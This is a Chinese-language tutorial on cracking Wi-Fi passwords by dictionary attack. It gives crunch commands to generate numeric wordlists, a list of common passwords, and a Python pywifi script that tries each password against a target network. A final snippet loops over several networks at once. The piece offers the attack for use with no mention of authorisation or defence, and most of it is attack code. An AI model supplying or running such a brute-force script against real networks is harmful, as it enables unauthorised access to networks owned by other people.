一、介绍
破解WIFI密码一般有两种方法:1.利用破解工具暴力破解;2.利用字典破解。利用字典破解WIFI密码的方法比较简单,原理就是利用常用密码列表进行暴力破解,这种方法在WIFI密码比较简单的情况下会比较有效。
二、制作字典文件
1.使用Python中的crunch库
crunch是一款功能强大的生成单词列表的工具,可以使用它制作字典文件。下面演示如何使用crunch制作密码字典:
首先安装crunch,使用以下命令:
sudo apt-get install crunch
然后使用以下命令生成6~8位数字的字典文件:
crunch 6 8 0123456789 -o pwd_dict.txt
上述命令表示生成6~8位数字的字典文件,把生成的结果保存到pwd_dict.txt文件中。
2.使用Kali Linux中的crunch
如果您使用的是Kali Linux,那么可以使用内置的crunch工具来生成密码字典。首先打开终端,使用以下命令生成6~8位数字的字典文件:
crunch 6 8 0123456789 -o pwd_dict.txt
三、字典破解WIFI密码
下面演示如何使用Python字典破解WIFI密码:
import pywifi
from pywifi import const
def wifi_connect(wifiname,password):
wifi=pywifi.PyWiFi()
ifaces=wifi.interfaces()
iface=ifaces[0]
iface.disconnect()
#测试链接
profile=pywifi.Profile()
profile.ssid=wifiname
profile.auth=const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher=const.CIPHER_TYPE_CCMP
profile.key=password
iface.remove_all_network_profiles()
tmp_profile=iface.add_network_profile(profile)
iface.connect(tmp_profile)
#判断是否链接成功
if iface.status()==const.IFACE_CONNECTED:
print("Connection Succeed!")
else:
print("Connection Failed!")
def read_pwd_dict(file_path):
"""
读取密码字典文件
"""
with open(file_path, 'r') as f:
data = f.read()
pass_list = data.split('\n')
return pass_list
def main():
wifiname="WIFINAME" #WIFI名称
pass_list=read_pwd_dict("./pwd_dict.txt") #读取密码字典文件
for password in pass_list:
print("Testing:",password)
wifi_connect(wifiname,password)
if __name__ == '__main__':
main()
在代码中,首先调用了Pywifi库,并使用WiFi名称和密码进行连接操作。然后使用read_pwd_dict函数读取密码字典文件,将读取到的密码存储到列表中。之后使用for循环遍历密码列表,依次尝试连接Wi-Fi网络,直到连接成功或者密码列表遍历完成。
四、示例
1.使用常用密码字典
在read_pwd_dict函数中使用自己制作的密码字典文件,可以提高破解WIFI密码的效率。当然,如果您没有自己制作的字典文件,可以使用常用密码字典文件。这里提供一个密码字典文件,包含一些较为常用的密码:
qwertyuiop
asdfghjkl
zxcvbnm
123456
123456789
password
2.同时破解多个WIFI密码
如果您需要同时破解多个WIFI密码,可以在for循环中嵌套另一个for循环,分别遍历WIFI名称列表和密码列表,例如:
wifinames=["WIFI1","WIFI2","WIFI3"]
pass_list=read_pwd_dict("./pwd_dict.txt") #读取密码字典文件
for wifiname in wifinames:
for password in pass_list:
print("Testing:",password)
wifi_connect(wifiname,password)
上述代码中,首先定义WIFI名称列表wifinames,然后在for循环中遍历WIFI名称列表和密码列表,依次尝试连接多个WIFI网络。